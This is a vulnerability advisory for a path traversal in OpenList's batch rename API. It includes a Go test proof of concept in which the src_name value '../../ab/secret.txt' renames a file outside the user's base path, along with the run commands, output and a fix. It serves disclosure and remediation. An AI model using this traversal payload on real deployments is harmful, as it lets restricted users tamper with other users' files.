CVE-2026-73509

Summary

The /api/fs/batch_rename handler validates and authorizes only the requested source directory. It rejects path separators in new_name, but it does not validate src_name. The handler concatenates src_dir and attacker-controlled src_name, then passes the result to the filesystem rename layer, where the path is normalized.

An authenticated user with rename permission can set src_name to traversal segments such as ../../ab/secret.txt. When the user's base path is /team/a and src_dir is /writable, the authorized directory becomes /team/a/writable, but the final source path normalizes to /team/ab/secret.txt. The file outside the user's base path is then renamed.

Details

The HTTP API registers filesystem management routes under the authenticated group:

• server/router.go:104 registers _fs(auth.Group("/fs")).
• server/router.go:198 through server/router.go:205 expose /api/fs/batch_rename.

The vulnerable code is in server/handles/fsbatch.go:

• src_dir is constrained through user.JoinPath(req.SrcDir) (server/handles/fsbatch.go:170 through server/handles/fsbatch.go:174).
• Write permission is checked only for that constrained directory (server/handles/fsbatch.go:176 through server/handles/fsbatch.go:185).
• The loop checks renameObject.NewName with checkRelativePath, but does not check renameObject.SrcName (server/handles/fsbatch.go:186 through server/handles/fsbatch.go:194).
• The handler builds filePath := fmt.Sprintf("%s/%s", reqPath, renameObject.SrcName) and passes it to fs.Rename (server/handles/fsbatch.go:195 through server/handles/fsbatch.go:196).

The single-file rename path shows the intended pattern: checkRelativePath(req.Name) rejects separators, empty strings, ., and .. before renaming (server/handles/fsmanage.go:284 through server/handles/fsmanage.go:333). Batch rename applies this protection to the destination name only, not to the source name.

Lower layers normalize the source path before operating on it:

• utils.FixAndCleanPath replaces backslashes with slashes, forces an absolute slash prefix, and calls path.Clean (pkg/utils/path.go:18 through pkg/utils/path.go:24).
• JoinBasePath rejects traversal in the original src_dir, not in the later concatenated src_name (pkg/utils/path.go:80 through pkg/utils/path.go:87).

False-positive checks performed:

• The user in the PoC had only normal authenticated user role plus rename permission, not admin role.
• The handler successfully authorized /team/a/writable, then renamed /team/ab/secret.txt, proving that the later source path escaped the authorized directory.
• new_name validation remained in effect; the exploit uses traversal only in src_name.
• The test checked the original sibling file disappeared and the renamed sibling file contained the same contents.

PoC

Safe local reproduction used a temporary in-memory sqlite database and temporary Local storage root. No external services were contacted by the PoC route; Go dependency/toolchain downloads may occur if the environment lacks cached modules.

Add this temporary test under server/handles/security_poc_test.go in a clean checkout of the tested commit. If also testing the share finding, the helper functions can be shared between the two tests.

package handles

import (
    "bytes"
    "context"
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "os"
    "path/filepath"
    "strings"
    "testing"

    _ "github.com/OpenListTeam/OpenList/v4/drivers/local"
    "github.com/OpenListTeam/OpenList/v4/internal/conf"
    "github.com/OpenListTeam/OpenList/v4/internal/db"
    "github.com/OpenListTeam/OpenList/v4/internal/model"
    "github.com/OpenListTeam/OpenList/v4/internal/op"
    "github.com/OpenListTeam/OpenList/v4/pkg/utils"
    "github.com/gin-gonic/gin"
    "github.com/glebarez/sqlite"
    "gorm.io/gorm"
)

func setupSecurityPoCTest(t *testing.T, root string) *model.User {
    t.Helper()
    database, err := gorm.Open(sqlite.Open("file:"+t.Name()+"?mode=memory&cache=shared"), &gorm.Config{})
    if err != nil {
        t.Fatal(err)
    }
    conf.Conf = conf.DefaultConfig(t.TempDir())
    db.Init(database)

    addition, err := utils.Json.MarshalToString(map[string]string{"root_folder_path": root})
    if err != nil {
        t.Fatal(err)
    }
    _, err = op.CreateStorage(context.Background(), model.Storage{Driver: "Local", MountPath: "/", Addition: addition})
    if err != nil {
        t.Fatal(err)
    }

    user := &model.User{
        Username:   "alice",
        BasePath:   "/team/a",
        Role:       model.GENERAL,
        Permission: 1<<4 | 1<<14,
    }
    if err := db.CreateUser(user); err != nil {
        t.Fatal(err)
    }
    return user
}

func requestWithUser(t *testing.T, method, target string, body any, user *model.User) (*gin.Context, *httptest.ResponseRecorder) {
    t.Helper()
    payload, err := json.Marshal(body)
    if err != nil {
        t.Fatal(err)
    }
    recorder := httptest.NewRecorder()
    ctx, _ := gin.CreateTestContext(recorder)
    req := httptest.NewRequest(method, target, bytes.NewReader(payload))
    req.Header.Set("Content-Type", "application/json")
    req = req.WithContext(context.WithValue(req.Context(), conf.UserKey, user))
    ctx.Request = req
    return ctx, recorder
}

func TestPOCBatchRenameSrcNameTraversalEscapesUserBase(t *testing.T) {
    gin.SetMode(gin.TestMode)
    root := t.TempDir()
    if err := os.MkdirAll(filepath.Join(root, "team", "a", "writable"), 0o700); err != nil {
        t.Fatal(err)
    }
    if err := os.MkdirAll(filepath.Join(root, "team", "ab"), 0o700); err != nil {
        t.Fatal(err)
    }
    secretPath := filepath.Join(root, "team", "ab", "secret.txt")
    if err := os.WriteFile(secretPath, []byte("secret"), 0o600); err != nil {
        t.Fatal(err)
    }
    user := setupSecurityPoCTest(t, root)

    ctx, recorder := requestWithUser(t, http.MethodPost, "/api/fs/batch_rename", gin.H{
        "src_dir": "/writable",
        "rename_objects": []gin.H{{
            "src_name": "../../ab/secret.txt",
            "new_name": "renamed.txt",
        }},
    }, user)
    FsBatchRename(ctx)

    if recorder.Code != http.StatusOK || !strings.Contains(recorder.Body.String(), `"code":200`) {
        t.Fatalf("expected batch rename success, status=%d body=%s", recorder.Code, recorder.Body.String())
    }
    if _, err := os.Stat(secretPath); !os.IsNotExist(err) {
        t.Fatalf("expected original sibling file to be renamed, stat err=%v", err)
    }
    renamedPath := filepath.Join(root, "team", "ab", "renamed.txt")
    got, err := os.ReadFile(renamedPath)
    if err != nil {
        t.Fatalf("expected renamed sibling file at %s: %v", renamedPath, err)
    }
    if string(got) != "secret" {
        t.Fatalf("unexpected renamed file contents: %q", got)
    }
}

Run:

go test ./server/handles -run TestPOCBatchRenameSrcNameTraversalEscapesUserBase -v

Observed vulnerable output in this environment:

=== RUN   TestPOCBatchRenameSrcNameTraversalEscapesUserBase
--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)
PASS
ok  	github.com/OpenListTeam/OpenList/v4/server/handles

Combined final confirmation command used during the audit:

go test ./server/handles -run 'TestPOC(ShareCreateAcceptsSiblingPathOutsideUserBase|BatchRenameSrcNameTraversalEscapesUserBase)' -v

Observed combined output:

=== RUN   TestPOCShareCreateAcceptsSiblingPathOutsideUserBase
--- PASS: TestPOCShareCreateAcceptsSiblingPathOutsideUserBase (0.01s)
=== RUN   TestPOCBatchRenameSrcNameTraversalEscapesUserBase
--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)
PASS
ok  	github.com/OpenListTeam/OpenList/v4/server/handles	(cached)

Negative/control cases checked:

• src_dir traversal is rejected by user.JoinPath because JoinBasePath detects relative traversal in the original request path.
• new_name traversal is rejected by checkRelativePath because it contains /, \\, ., or .. patterns.
• The exploit succeeds because src_name is not passed through the same relative filename check before concatenation.

Cleanup:

rm server/handles/security_poc_test.go

Impact

A restricted authenticated user can rename files outside the authorized source directory and outside their configured base path. In a multi-user deployment, a user confined to /team/a can rename a guessed sibling file such as /team/ab/secret.txt to /team/ab/renamed.txt by submitting traversal segments in src_name.

This is an integrity violation against other users' files. It can also cause limited availability impact by moving files away from expected names, and it may reveal whether guessed out-of-base files exist based on success or error responses.

Suggested remediation

Validate renameObject.SrcName with the same relative filename constraints already applied to renameObject.NewName, or derive source objects only from a trusted directory listing of reqPath.

A minimal fix is to call checkRelativePath(renameObject.SrcName) before constructing filePath. Add regression tests covering:

• src_name: "file.txt" succeeds;
• src_name: "../secret.txt" is denied;
• src_name: "../../ab/secret.txt" is denied when base path is /team/a and src_dir is /writable;
• new_name traversal remains denied.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)